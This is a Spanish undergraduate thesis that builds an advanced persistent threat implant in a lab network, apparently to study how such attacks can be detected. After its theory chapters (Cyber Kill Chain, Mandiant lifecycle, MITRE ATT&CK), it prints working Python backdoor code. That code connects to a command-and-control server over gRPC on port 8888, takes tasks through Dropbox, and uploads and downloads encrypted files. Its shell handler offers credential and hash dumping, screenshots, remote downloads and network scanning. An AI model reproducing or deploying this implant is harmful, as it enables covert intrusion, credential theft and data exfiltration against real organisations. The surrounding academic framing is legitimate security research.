scieee AI-readable full text Open interactive document viewer

Creación de una APT (Advanced Persistent Threat)

Roa Gutiérrez, Gonzalo

Abstract

Grado en Ingeniería Informática

Full text

Escuela de Ingeniería Informática TRABAJO FIN DE GRADO Grado de Ingeniería Informática Mención de Ingeniería de Software Creación de una APT (Advanced Persistent Threat) Autor: Gonzalo Roa Gutiérrez Agradecimientos Este proyecto va dedicado a mi familia, por apoyarme y enseñarme el valor del trabajo duro y la constancia, a mis amigos y compañeros, por estar ahí en las victorias y en las derrotas y a mis profesores por guiarme durante mis estudios. A todos, mil gracias. - Gonzalo Roa Escuela de Ingeniería Informática TRABAJO FIN DE GRADO Grado de Ingeniería Informática Mención de Ingeniería de Software Creación de una APT (Advanced Persistent Threat) Autor: Gonzalo Roa Gutiérrez Tutor: Blas Torregrosa García Resumen El presente trabajo de fin de grado consiste en el desarrollo e implementación de un tipo de malware conocido como APT. Se pretende con ello comprender su funcionamiento y así poder desarrollar medidas de protección efectivas. La idea del proyecto surge como respuesta al aumento de ciberataques en organizaciones gubernamentales y empresas durante los últimos años. El tipo de malware que se estudia es uno de los más difíciles de detectar y contrarrestar dado que el conocimiento que se tiene sobre su funcionamiento es muy escaso. Además se especializan en evitar ser detectados. Debido a esta incertidumbre y desconocimiento, es necesario estudiar el comportamiento de este tipo de amenazas y así poder desarrollar medidas preventivas que lo contrarresten. No solamente es muy difícil de detectar sino que las consecuencias resultantes de su infección pueden ser muy graves, ya sea por el robo de información o por sabotaje a proyectos. Lo primero que se debe hacer es entender lo que diferencia a las amenazas persistentes avanzadas(APTs) del resto de amenazas, su ciclo de vida y las técnicas que emplean con el fin de realizar una implementación que sea fiel a la realidad y que sirva para poder desarrollar medidas de detección. Índice general 1. Introducción 1 1.1.Contexto......................................... 1 1.2.Motivación........................................ 1 1.3.Objetivosyalcance................................... 1 2. Plan de proyecto 3 2.1.Conceptosyacrónimos ................................ 3 2.2. Modelo y fases del proyecto . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 2.2.1. Fases de la planificación . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 2.3.Plandecontingencia.................................. 6 3. Marco teórico 7 3.1. Advanced Persistent Threat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 3.2.TheCyberKillChain.................................. 7 3.3. Ciclo de vida de una APT de Mandiant . . . . . . . . . . . . . . . . . . . . . . . . 9 3.4. Adversarial Tactics, Techniques and Common Knowledge Model And Framework 10 4. Laboratorio y desarrollo del experimento 12 4.1. Comunicación con el command and control . . . . . . . . . . . . . . . . . . . . . 13 4.2.Softwareempleado................................... 15 4.3. Desarrollo del experimento . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 4.4. Conexión y actualización . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 4.4.1. Códigoydesarrollo .............................. 17 4.5.Persistencia....................................... 18 4.5.1. Códigoydesarrollo .............................. 18 4.5.2. Experimento Fase de Conexión y Persistencia . . . . . . . . . . . . . . . 19 4.6.Backdoor ........................................ 21 4.6.1. Códigoydesarrollo .............................. 21 4.6.2. Experimento Fase de Backdoor . . . . . . . . . . . . . . . . . . . . . . . . 39 4.7.Reconocimiento .................................... 41 4.7.1. Códigoydesarrollo .............................. 41 4.7.2. Experimento Fase de Reconocimiento . . . . . . . . . . . . . . . . . . . . 46 4.8.Escaladodeprivilegios ................................ 50 4.8.1. Códigoydesarrollo .............................. 51 4.8.2. Experimento Fase de Escalado . . . . . . . . . . . . . . . . . . . . . . . . 53 4.9.Movimientoslaterales ................................. 56 4.9.1. Experimento Fase de Movimientos laterales . . . . . . . . . . . . . . . . . 56 4.10.Exfiltración ....................................... 59 4.10.1.Código y desarrollo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59 4.11.Contramedidas de detección . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60 5. Conclusiones y posibles mejoras 61 5.1.Conclusiones...................................... 61 5.2.Posiblesmejoras.................................... 62 6. Anexo 63 6.1.FrameworkgRPC ................................... 63 6.1.1. ¿QuéesgRPC? ................................ 63 6.1.2. ArquitecturaRPC................................ 63 6.1.3. ¿Qué hace especial a gRPC? . . . . . . . . . . . . . . . . . . . . . . . . 63 6.2.ProtocolBuffers..................................... 64 6.2.1. ¿Qué son los Protocol Buffers? . . . . . . . . . . . . . . . . . . . . . . . . 64 6.2.2. Características................................. 64 6.3. Código del servidor server.py . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66 6.4. Código del reverse_shell (reverse_shell.pyw) . . . . . . . . . . . . . . . . . . . . 68 Bibliografía 88 Índice de figuras 2.1.DiagramadeGantt................................... 4 3.1.Cyberkillchain..................................... 8 3.2. Ciclo de vida de una APT de Mandiant . . . . . . . . . . . . . . . . . . . . . . . . 9 3.3. Esquema de matrices de MITRE . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 3.4. Matriz de empresa de MITRE (Últ. modif: 27 Abril 2021) . . . . . . . . . . . . . . 11 4.1. Mapa de la red del laboratorio de pruebas . . . . . . . . . . . . . . . . . . . . . . 12 4.2. Diagrama de secuencia de las comunicaciones. . . . . . . . . . . . . . . . . . . 15 4.3.APTenformato.exe.................................. 16 4.4. Captura del equipo WINDOWS01 - Fase conexión y persistencia . . . . . . . . . 20 4.5. Captura del equipo WINDOWS01 - Fase conexión y persistencia . . . . . . . . . 20 4.6. Diagrama de flujo de la fase backdoor . . . . . . . . . . . . . . . . . . . . . . . . 21 4.7. Diagrama de flujo de la fase backdoor . . . . . . . . . . . . . . . . . . . . . . . . 22 4.8. Diagrama de flujo de la fase backdoor . . . . . . . . . . . . . . . . . . . . . . . . 24 4.9. Diagrama de flujo de la fase backdoor . . . . . . . . . . . . . . . . . . . . . . . . 32 4.10.Diagrama de flujo de la fase backdoor . . . . . . . . . . . . . . . . . . . . . . . . 34 4.11.Diagrama de flujo de la fase backdoor . . . . . . . . . . . . . . . . . . . . . . . . 39 4.12.Captura del equipo WINDOWS01 - Fase Backdoor . . . . . . . . . . . . . . . . . 39 4.13.Captura de los equipos WINDOWS01 y Kali - Fase Backdoor . . . . . . . . . . . 40 4.14.Captura de los equipos WINDOWS01 y Kali - Fase Backdoor . . . . . . . . . . . 40 4.15.Captura del equipo WINDOWS01 - Fase Reconocimiento . . . . . . . . . . . . . 46 4.16.Captura del equipo WINDOWS01 - Fase Reconocimiento . . . . . . . . . . . . . 47 4.17.Captura del directorio Dropbox - Fase Reconocimiento . . . . . . . . . . . . . . . 47 4.18.Captura del directorio Dropbox - Fase Reconocimiento . . . . . . . . . . . . . . . 47 4.19.Captura del directorio Dropbox - Fase Reconocimiento . . . . . . . . . . . . . . . 48 4.20.Captura del archivo portScan.txt - Fase Reconocimiento . . . . . . . . . . . . . . 48 4.21.Captura del archivo dnsServers.txt - Fase Reconocimiento . . . . . . . . . . . . 48 4.22.Captura de las carpetas de red disponibles - Fase Reconocimiento . . . . . . . . 49 4.23.Captura del archivo sys.txt - Fase Reconocimiento . . . . . . . . . . . . . . . . . 49 4.24.Captura del archivo sys.txt - Fase Reconocimiento . . . . . . . . . . . . . . . . . 50 4.25.Captura de Kali - Fase Escalado . . . . . . . . . . . . . . . . . . . . . . . . . . . 53 4.26.Captura de Kali - Fase Escalado . . . . . . . . . . . . . . . . . . . . . . . . . . . 53 4.27.Captura de Kali y WINDOWS01 - Fase Escalado . . . . . . . . . . . . . . . . . . 54 4.28.Captura de Kali y WINDOWS01 - Fase Escalado . . . . . . . . . . . . . . . . . . 54 4.29.Captura de Kali - Fase Escalado . . . . . . . . . . . . . . . . . . . . . . . . . . . 55 4.30.Captura de Kali - Fase Escalado . . . . . . . . . . . . . . . . . . . . . . . . . . . 55 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 ID: 06 Persistencia Predecesoras: 05 Duración: 5 días La APT será capaz de hacerse persistente en la máquina objetivo y activarse al iniciar sesión el usuario. ID: 07 Backdoor Predecesoras: 06 Duración: 5 días La APT habilitará un puerto en la máquina para conexión remota e implementará una serie de comandos para facilitar algunas tareas como enviar y recibir archivos. ID: 08 Reconocimiento Predecesoras: 07 Duración: 5 días La APT será capaz de hacer un reconocimiento de los equipos que hay en su subred y los puertos que hay abiertos. ID: 09 Escalado de privilegios Predecesoras: 08 Duración: 10 días La APT será capaz de obtener permisos de administrador en la máquina objetivo. ID: 10 Movimientos laterales Predecesoras: 09 Duración: 10 días La APT será capaz de propagarse a otros equipos. ID: 11 Exfiltración Predecesoras: 10 Duración: 5 días La APT será capaz de enviar datos de forma cifrada u oculta al exterior. Fases finales ID: 12 Realización de pruebas Predecesoras: 11 Duración: 5 días Se probará la APT en un entorno controlado para comprobar que funciona correctamente. ID: 13 Documentación Predecesoras: 12 Duración: 20 días Se completará la documentación para la entrega del TFG. Página 5 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 2.3. Plan de contingencia A continuación se presenta en la tabla 2.1 el plan de contingencia para los sucesos que pudieran ocurrir a lo largo del desarrollo del proyecto: Riesgo Contingencia Avería de las máquinas del proyecto En este caso se utiliza un sistema de control de versiones como GitHub o Dropbox en caso de que el tiempo que quedase para entregar el proyecto no fuese suficiente o usar otra máquina distinta El tiempo disponible no es suficiente Se retrasará la fecha de entrega del proyecto hasta la segunda convocatoria. Personal no disponible En caso de que el personal no esté disponible causando un retraso en el proyecto, se pospondrá la fecha de entrega a la segunda convocatoria. Fallos de conexión Si no se pudieran usar las máquinas en las que se desarrolla el proyecto por problemas de conexión se procedería a reajustar los plazos adelantando las tareas que puedan prescindir de su uso hasta que la conexión se restablezca. Actualización de la funcionalidad En caso de que se realicen cambios en los requisitos durante el desarrollo de irán actualizando las fechas previstas de entrega. Complejidad del desarrollo excede la esperada En caso de que la funcionalidad que se quiera implementar conlleve un mayor tiempo de desarrollo, la fecha de entrega se pospondrá a la segunda convocatoria. La planificación tiene demasiada funcionalidad para ser implementada en el tiempo disponible Si la funcionalidad prevista inicialmente no puede ser implementada en el tiempo disponible se retrasará la fecha de entrega a la segunda convocatoria o en su defecto se reduciría la funcionalidad a implementar. Cuadro 2.1: Tabla de contingencia Página 6 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 Capítulo 3 Marco teórico 3.1. Advanced Persistent Threat Una APT (Advanced Persistent Threat), también conocida como Amenzada Persistente Avanzada, es un tipo de malware que usa varios vectores de ataque (como zero-days, servicios con vulnerabilidades, ingeniería social ...) combinado con el uso de técnicas avanzadas, durante un largo periodo de tiempo hasta el cumplimiento del objetivo. Este malware se enfoca en una organización en concreto y pasa mucho tiempo esperando una oportunidad para vulnerarla. No toda amenaza es una APT. Se puede decir que un malware es una APT si cumple con las siguientes características: Es malware intencionado con objetivos definidos. Atacarán a un único objetivo de forma persistente. Tolerante frente al riesgo. Este tipo de malware tiene como objetivos permanecer oculto en el sistema y aumentar su control sobre este. A veces, solo lo hace para causar pérdidas y daños. Enfocado con un objetivo final. Tiene un objetivo claro y no se distrae con otros objetivos secundarios. Por ejemplo, puede estar enfocado a robar contraseñas o a robar los planos de un nuevo diseño. Sofisticado. Usa vulnerabilidades zero-day y ataques de múltiples vectores. Múltiples localizaciones. Los ataques que efectúa pueden tener su origen en varias fuentes distintas. Esto dificulta identificar la fuente del ataque. Se oculta en grandes volúmenes de datos. Aprovecha grandes volúmenes de datos para que sea más difícil distinguirlo de programas legítimos. Gran financiación. Normalmente tienen una gran financiación proveniente de una nación o de grandes corporaciones. 3.2. The Cyber Kill Chain Cada vez son más las empresas afectadas por ciberataques a pesar de que el número de organizaciones que han implementado medidas de seguridad ha ido en aumento. La clave para detectar, detener y recuperarse de un ciberataque es comprender su ciclo de vida e implementar las medidas necesarias para contrarrestarlo. El modelo de ”Cyber Kill Chain” fue empleado en sus inicios en el ámbito militar para definir los pasos que usaba el enemigo al atacar un objetivo. Más tarde los analistas de Lockheed Página 7 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 Marting Corportation lo emplearon para ayudar a tomar decisiones frente a ciberataques e intrusiones. Figura 3.1: Cyber kill chain El modelo consta de 7 etapas: Reconocimiento (Reconnaissance). En esta etapa se investiga, identifica y selecciona objetivos a través de la recolección de información. También se recoge información técnica como la tecnología que usa el objetivo. Fuentes de información más comunes son información pública del objetivo y redes sociales. Militarización (Weaponization). Se decide cómo se va a llevar a cabo el ataque. Un ejemplo de esto podría ser crear un word que contenga un malware y enviarlo por correo Página 8 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 electrónico a uno de los empleados. Entrega (Delivery). Consiste en la transmisión del mensaje a las víctimas. El método más usado es mediante una campaña de phishing en el que los destinatarios abran un archivo malicioso que descargue malware. Explotación (Exploitation). En esta fase el malware explota la vulnerabilidad de las víctimas para ganar acceso a los sistemas. Instalación (Installation). El malware se instala en el sistema, descarga aquellos ficheros que le sean necesarios y establece persistencia en el equipo. Comando y Control (Comand and control). Se establecen canales de comunicación con el atacante que permita controlarlo de manera remota. Acciones (Actions). La última fase consiste en cumplir el objetivo del ataque como obtener credenciales de acceso o ficheros confidenciales. 3.3. Ciclo de vida de una APT de Mandiant Una vez hemos visto las fases de la Cyber Kill Chain, pasamos a estudiar de forma más específica las fases del ciclo de vida de una APT. A continuación se expone el modelo de ciclo de vida de una APT de Mandiant [6]. Figura 3.2: Ciclo de vida de una APT de Mandiant El modelo presenta dos fases iniciales: Reconocimiento Inicial (Initial Reconnaissance), que sería la fase de Reconocimiento de la Cyber Kill Chain, y la fase de Compromiso Inicial(Initial Compromise), que abarcaría las fases de Militarización y Entrega. La siguiente fase se llama Establecer Punto de Apoyo (Establish Foothold), que consiste en instalar backdoors que nos permitan acceder sin ser detectados. Esta fase abarca las fases de Explotación e Instalación de Cyber Kill Chain. A continuación, en la fase Escalada de Privilegios (Privilege Escalation) se pretende obtener privilegios de administrador en el sistema. Este paso es muy importante para la obtención de nombres de usuario y contraseñas que luego permitirán el movimiento sigiloso a través de la red. La fase de Reconocimiento Interno (Internal Reconnaissance) consiste en recopilar información de dentro de la red. Después se harán Movimientos Laterales (Move Laterally) en los que se usarán las credenciales previamente descubiertas para acceder a otros sistemas Página 9 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 de la red. A continuación, se pasará a la fase de Mantener Presencia (Maintain Presence) en la que se pretende asegurar un posterior acceso a ese entorno, ya sea replicando la APT en el equipo o abriendo una backdoor. La última fase es Completar la Misión (Complete Mission) donde el atacante consigue su objetivo, ya sean archivos confidenciales o comprometer un servicio. Una vez hemos visto las fases del ciclo de vida de una APT, tenemos una idea más clara de cual es el comportamiento esperado de este malware. 3.4. Adversarial Tactics, Techniques and Common Knowledge Model And Framework The MITRE Corporation, más conocida como MITRE, es una organización estadounidense sin ánimo de luco localizada en Massachusetts y Virginia. Provee ingeniería de sistemas, investigación y desarrollo, y soporte sobre tecnologías de la información al gobierno de Estados Unidos de América. En 2013 crearon ATT&CK (Adversarial Tactics, Techniques & Common Knowledge), a la fecha en versión beta, para catalogar y analizar las Amenazas Persistentes Avanzadas. Esto es un repositorio de técnicas y tácticas usadas por atacantes de incidentes que han afectado a organizaciones. MITRE tiene tres matrices de técnicas: Matriz PRE-ATTACK&CK[20]: abarca las fases de reconocimiento y militarización de la Cyber Kill Chain. Matriz ATT&CK para empresa[18]: recoge el resto de fases aplicado a cada sistema operativo. Matriz ATT&CK para dispositivos móviles[19]: presenta técnicas empleadas en dispositivos móviles. Figura 3.3: Esquema de matrices de MITRE Página 10 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 Algunas de estas tácticas se van a emplear en el experimento. Actualmente, la matriz de Mitre recoge las siguientes 14 categorías de tácticas de ataque: Reconocimiento, Desarrollo de Recursos, Acceso inicial, Ejecución, Persistencia, Escalado de privilegios, Evasión de defensa, Acceso de credenciales, Descubrimiento, Movimiento lateral, Colección, Comando y Control, Exfiltración e Impacto. En cada columna de la matriz se presentan las distintas técnicas con las que se podría emplear esa táctica. Estas técnicas se clasifica en tipos, que a su vez explican en qué consisten y las formas de mitigar y detectar para cada caso. A continuación se presentan algunas de las técnicas mencionadas: Figura 3.4: Matriz de empresa de MITRE (Últ. modif: 27 Abril 2021) Página 11 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 Capítulo 4 Laboratorio y desarrollo del experimento Para la realización del experimento, usaremos el siguiente laboratorio: Figura 4.1: Mapa de la red del laboratorio de pruebas La red consta de las siguientes secciones: Intranet: En esta parte de la red se localiza un directorio activo que consta de un servidor de Directorio Activo (AD) y cuatro terminales Windows. Estos terminales tienen las siguientes características: • Windows 10 pro 10.0.19042 N/D Compilación 19042 • Dos procesadores Common KVM processor 2.30 GHz Página 12 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 • 4 GB RAM La máquina (WINDOWS-01) tendrá asignado el rol de sistema infectado en el experimento y para ello se ha instalado un servicio vulnerable. DMZ: En esta zona se encuentra un servidor web y un servidor DNS. Es una red local que se ubica entre la intranet y la red externa. El objetivo de una DMZ es que las conexiones desde la red interna y externa a la DMZ estén permitidas, mientras que en general las conexiones externas solo se permitan pasando primero por la DMZ. Yellow: Cuenta con un servidor DNS externo a la Intranet y un equipo Windows. Internet: Está compuesta por terminales Ubuntu que simulan equipos de Internet. Atacantes: Los equipos que la componen son terminales Kali Linux y nos servirán para simular ataques desde el exterior de la red. Los equipos tienen las siguientes características: • Kali Linux 2020.3 • Dos procesadores Common KVM processor 2.30 GHz • 2 GB RAM Una de estas máquinas (KALI-02) cumplirá el rol del C&C. Para ello se ha instalado python y las librerías: mss, pypykatz, getmac, requests, dropbox, ping3, key_generator, cryptography, grpcio, grpciotools, protobuf. 4.1. Comunicación con el command and control En esta sección se describirá qué es un servidor Command and Control, qué es un beacon y cómo se comunican entre sí [27]. Un servidor C&C (Command and Control) hace la función de centro de mando para malware relacionado con ataques dirigidos y se usa para almacenar datos robados o enviar comandos. El establecer comunicaciones con el C&C es vital para que los atacantes puedan realizar movimientos laterales en la red. Los sistemas C&C seguirá uno de estos dos modelos: 1. Modelo centralizado: Este modelo es el predominante en los malware existentes. Muchas APTs conocidas como APT30, APT3 o APT28 [1] lo implementan. En el modelo centralizado, se instala un servidor con gran ancho de banda para ser el punto de contacto de los beacon. El C&C, normalmente también se trata de un sistema infectado, ofrece servicios web como IRC, HTTP ... En el momento en el que un dispositivo se infecte, este intentará conectarse al servidor C&C. Una vez conectado, el malware esperará hasta recibir algún comando. También puede tener mecanismos para proteger las comunicaciones como cifrado. Las ventajas de este modelo son: Simplicidad: es un sistema fácil de montar y con un solo dispositivo se pueden controlar multitud de sistemas infectados. Página 13 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 Resiliencia: se han usado pocas contramedidas para luchar contra servidores C&C, por lo que este modelo es resiliente en el mundo real. Bajo coste: con un solo servidor basta controlar múltiples dispositivos por lo que no incurre un alto coste. La desventaja de este modelo es que depende del servidor C&C para su funcionamiento, por lo que este es el punto más débil. Si se es capaz de descubrir y destruir el servidor central, la red de equipos infectados será inútil. 2. Modelo P2P: Buscando un modelo más resiliente se empezaron a desarrollar modelos P2P. La ventaja de este modelo es que, comparado con el modelo centralizado, este es mucho más difícil de descubrir y destruir, dado que eliminar un nodo no conlleva la inhabilitación de la red. Es por esto que se cree que el futuro habrá más malware con este modelo de comunicación. Por otro lado, este modelo también tiene sus limitaciones: Pocos usuarios: solo soportan conversaciones entre pequeños grupos, entre 10 y 50 de usuarios. Entrega de mensajes: no asegura la entrega de mensajes ni la latencia de propagación, por lo que la comunicación es más difícil de coordinar que en un modelo centralizado. Es por esto que no hay pocos casos en los que se use este modelo. Sin embargo, se suele usar para atacar un número pequeño de objetivos. El modelo se ha usado para este trabajo es el modelo centralizado por su simplicidad y bajo coste. En el diagrama de secuencia 4.2 se muestra cómo se comunican el equipo infectado y el servidor. Una vez establecida la conexión, el equipo infectado quedará a la espera de una instrucción del servidor. Cuando se reciba el comando, se procesará y se enviará la respuesta al C&C. Solo se finalizará la conexión con los comandos ”q”(cierre de conexión) o ”shutdown”(apagar el malware hasta el próximo reinicio). Página 14 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 Persistencia Nombre de la técnica ID de la técnica Registry Run Keys / Startup Folder T1547.001 Cuadro 4.2: Técnicas empleadas en persistencia 4.6. Backdoor En esta fase se busca intentar establecer una conexión con el servidor C&C y facilitar al atacante una manera de acceder y controlar remotamente el equipo. La APT intentará conectarse al servidor KALI para recibir instrucciones. También comprobará si hay tareas pendientes de realizar en el servicio de nube. En caso de que haya, se descargará las tareas, se realizará cada una de ellas y se devolverá un fichero con los resultados. Para esto, usaremos las siguientes técnicas de la matriz MITRE: Command and Control (TA0011): intentaremos recibir comandos tanto del servidor KALI como del servicio de nube y luego devolveremos los resultados. Encrypted Channel - Symmetric Cryptography (T1573.001): tanto la comunicación con el KALI como con el servicio de nube, usando la API de Dropbox, están encriptados. Non-Standard Port (T1571): para comunicarnos con el servidor de KALI usaremos el puerto 8888. 4.6.1. Código y desarrollo Estos son los pasos que vamos a seguir para gestionar esta fase: Figura 4.6: Diagrama de flujo de la fase backdoor Antes de empezar, como no sabemos si podemos conectarnos al C&C, ya sea porque no está activo o porque un firewall bloquea el tráfico, intentaremos conectarnos durante un periodo de tiempo limitado y, una vez agotado ese tiempo, procederemos con las siguientes fases. Página 21 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 Figura 4.7: Diagrama de flujo de la fase backdoor Es por esto que tendremos un método inicial para gestionar los intentos de conexión y lo que pasa una vez se ha agotado el tiempo de espera. En este ejemplo {4.6}, (1) guardamos el tiempo actual para posteriormente saber cuánto tiempo ha pasado desde el inicio. Después, si no hemos recibido la orden de cerrar el programa (2) intentamos conectarnos al puerto 8888 del servidor (3) y, una vez conectados, procedemos a ejecutar el método shell(), en el que implementaremos varios comandos. En en caso de que no podamos conectarnos al C&C, (4) comprobaremos si tenemos comandos en dropbox pendientes de ejecutar. El funcionamiento de la API de dropbox se detalla en la sección 4.10.   1# Intenta conectar durante 30 seg y luego hacer escaneo de puertos # 2def connection ( ) : 3global sock 4global exit 5global start 6global scanned 7global ipCC 8global stub 9 10 (1) start =time .time ( ) 11 scanned =False 12 13 (2) while True :# si exit=True se acaba el programa 14 15 i= 0 16 while i< 6: 17 #intentamos conectarnos a CnC 18 (3) try : 19 #print("Connecting ") 20 channel =grpc .insecure_channel (ipCC+’:8888 ’ ) 21 stub =chunk_pb2_grpc .FileServerStub (channel ) 22 shell ( ) 23 except Exception as e : 24 #print(e) 25 pass 26 27 if exit == True : 28 sys .exit ( ) Página 22 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 29 30 # Comprobamos si tenemos comandos pendientes que ejecutar 31 (4) try : 32 checkCommands ( ) 33 except : 34 pass 35 36 time .sleep (5) 37 i+= 1   Listing 4.6: Código fuente del método connection() Si ocurre algún error, capturamos la excepción y comprobamos cuánto tiempo llevamos intentado conectarnos (5). Si ha pasado más del tiempo fijado (en el ejemplo son 30 segundos) (6) procedemos con las siguientes fases y, en caso contrario, esperamos 1 hora y volvemos a intentarlo (7).   1# Si no conseguimos conectarnos a CnC escaneamos la red y buscamos 2# informacion del sistema 3 4end =time .time ( ) -start 5 6(5) if end > 30 and not scanned : 7scanned =True 8(6) try_escalate ( ) 9scanNetwork ( ) 10 sysinfo ( ) 11 if is_admin ( ) : 12 dumpHash ( ) 13 14 # Cada hora comprobaremos si hay comandos disponibles 15 # o si nos podemos conectar a CnC 16 (7) time .sleep (3600)   Listing 4.7: Código fuente del método connection() En el caso de que hayamos podido conectarnos con éxito al servidor C&C, iniciaremos el método shell() que se ocupará de gestionar los comandos y las comunicaciones. Este método permite ejecutar tanto comandos nativos de windows como dir owhoami como otros comandos específicos. Página 23 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 Figura 4.8: Diagrama de flujo de la fase backdoor La comunicación con el servidor C&C se hará usando Protocol Buffers y gRPC (6.2). Los siguientes métodos se ocuparán de gestionar las comunicaciones: generate_key(): creará una clave a partir de la fecha actual para cifrar el contenido de las comunicaciones.   1def generate_key ( ) : 2global encrKey 3 4date =datetime .datetime .now ( ) 5 6day =str (date .day ) 7month =str (date .month ) 8year =str (date .year ) 9secret =int (day+month+year ) 10 key =generate (seed =secret ,max_atom_len = 8 , min_atom_len = 8) . get_key ( ) 11 key =key [ : -1]+"=" 12 encrKey =Fernet (key )   Listing 4.8: Código fuente del método generate_key() sendResponse(x): enviará la cadena encriptada al servidor C&C.   1def sendResponse (x) : 2data =to_byte (x) 3encrypted_data =encrKey .encrypt (data ) 4data =to_str (encrypted_data ) 5request =chunk_pb2 .Request (name=data ) 6stub .getResponse (request )   Listing 4.9: Código fuente del método sendResponse() getCmd(): pedirá instrucciones al servidor C&C.   1def getCmd ( ) : 2request =chunk_pb2 .Empty ( ) 3response =stub .getCmd (request ) 4command =response .name .encode ( ) 5command =encrKey .decrypt (command ) 6command =command .decode ( ) . rstrip ( ) Página 24 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 7return command   Listing 4.10: Código fuente del método getCmd() uploadFromCnC(): descargará el archivo enviado por el servidor C&C.   1def uploadFromCnC (target_name ,out_file_name ) : 2response =stub .download (chunk_pb2 .Request (name=target_name ) ) 3save_chunks_to_file (response ,out_file_name ) 4decryptFile (out_file_name )   Listing 4.11: Código fuente del método uploadFromCnC() downloadToCnC(): enviará el archivo in_file_name al servidor C&C.   1def downloadToCnC (in_file_name ) : 2encryptFile (in_file_name ) 3chunks_generator =get_file_chunks (in_file_name ) 4response =stub .upload (chunks_generator ) 5decryptFile (in_file_name ) 6assert response .length == os .path .getsize (in_file_name )   Listing 4.12: Código fuente del método downloadToCnC() save_chunks_to_file(): escribirá el stream de bytes (chunks) en un archivo.   1def save_chunks_to_file (chunks ,filename ) : 2with open (filename ,’wb’ )as f : 3for chunk in chunks : 4f.write (chunk .buffer )   Listing 4.13: Código fuente del método save_chunks_to_file() get_file_chunks(): devolverá un generador de chunks (partes del fichero) a partir de los bytes del archivo filename.   1def get_file_chunks (filename ) : 2with open (filename ,’rb’ )as f : 3while True : 4piece =f.read (CHUNK_SIZE ) ; 5if len (piece ) == 0: 6return 7yield chunk_pb2 .Chunk (buffer=piece )   Listing 4.14: Código fuente del método get_file_chunks() encryptFile(): encriptará el archivo pasado como parámetro.   1def encryptFile (filename ) : 2with open (filename ,’rb’ )as f : 3content =f.read ( ) 4f.close ( ) 5 6encrypted_data =encrKey .encrypt (content ) 7 8with open (filename ,’wb’ )as f : 9f.write (encrypted_data ) 10 f.close ( )   Listing 4.15: Código fuente del método encryptFile() Página 25 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 decryptFile(): desencriptará el archivo pasado como parámetro.   1def decryptFile (filename ) : 2with open (filename ,’rb’ )as f : 3content =f.read ( ) 4f.close ( ) 5 6decrypted_data =encrKey .decrypt (content ) 7 8with open (filename ,’wb’ )as f : 9f.write (decrypted_data ) 10 f.close ( )   Listing 4.16: Código fuente del método decryptFile() Además de esto y para hacer uso del framework gRPC se ha creado el siguiente archivo de configuración .proto donde se definen los métodos y los tipos de mensajes:   1syntax ="proto3" ; 2 3service FileServer { 4rpc upload (stream Chunk )returns (Reply ) { } 5rpc download (Request )returns (stream Chunk ) { } 6rpc getCmd (Empty )returns (Request ) { } 7rpc getResponse (Request )returns (Empty ) { } 8} 9 10 message Chunk { 11 bytes buffer = 1; 12 } 13 14 message Request { 15 string name = 1; 16 } 17 18 message Reply { 19 int32 length = 1; 20 } 21 22 message Empty { 23 24 }   Listing 4.17: Código fuente del archivo chunk.proto Para generar el código necesario de gRPC se ha usado el siguiente comando:   1python -m grpc_tools .protoc -I.- - python_out =. - - grpc_python_out=. chunk .proto   Listing 4.18: Comando para generar el código gRPC A continuación se enumeran los distintos comandos implementados y su funcionalidad: q: cierra la sesión actual pero el programa sigue funcionando. Volvemos a iniciar la variable temporal start para que el tiempo de espera se reinicie y vuelva a intentar conectarse al C&C.   1while True : 2command =reliable_recv ( ) 3if command == "q" : 4start =time .time ( ) Página 26 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 5break   Listing 4.19: Código fuente del método shell() shutdown: cierra la sesión actual y el programa se apaga a sí mismo. Reiniciamos la variable temporal start, marcamos la variable exit como True y así en el método connection() se cerrará el bucle y finalizará el programa.   1elif command == "shutdown" : 2exit =True 3start =time .time ( ) 4break   Listing 4.20: Código fuente del método shell() help: enumera los distintos comandos implementados.   1if command == "help" : 2help_options =’’’Available commands: 3cd (directory) - to move to another directory 4download (file) - download a file from the target pc 5upload (file) - upload a file to the target pc 6screenshot - take a screenshot from the target pc and send it to the server 7get (url) - download a file from a url to the target pc 8check - check if the program has admin privileges 9start (program) - start a program in target pc 10 pingSweep - activate a ping scan in the network 11 commonScan - look for common ports 12 dnsScan - look for dns servers 13 netFolders - list all network folders available 14 fullScan - scan everything of everything (takes long) 15 16 ssh [host] [username] [password] - enter "exit" to quit session 17 dumpHash - attemp to dump hashes (admin required) 18 dumpCreds - attemp to get credentials of the machine 19 20 shutdown - shutdown backdoor 21 q - disconnect from port 22 ’’’ 23 sendResponse (help_options )   Listing 4.21: Código fuente del método shell() cd: permite la navegación entre directorios.   1elif command [ : 2 ] == "cd" and len (command ) > 1: 2try : 3os .chdir (command [3:]) 4sendResponse ("[+] Directory changed to: " +os .getcwd ( ) ) 5except : 6sendResponse ("[!!] Failed to move to directory" ) 7pass   Listing 4.22: Código fuente del método shell() download (file): envía el archivo file desde la máquina infectada al C&C. Método downloadToCnC descrito en (4.12).   1elif command [ : 8 ] == "download" : 2downloadToCnC (command [9:])   Listing 4.23: Código fuente del método shell() Página 27 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 upload (file): envía el archivo file 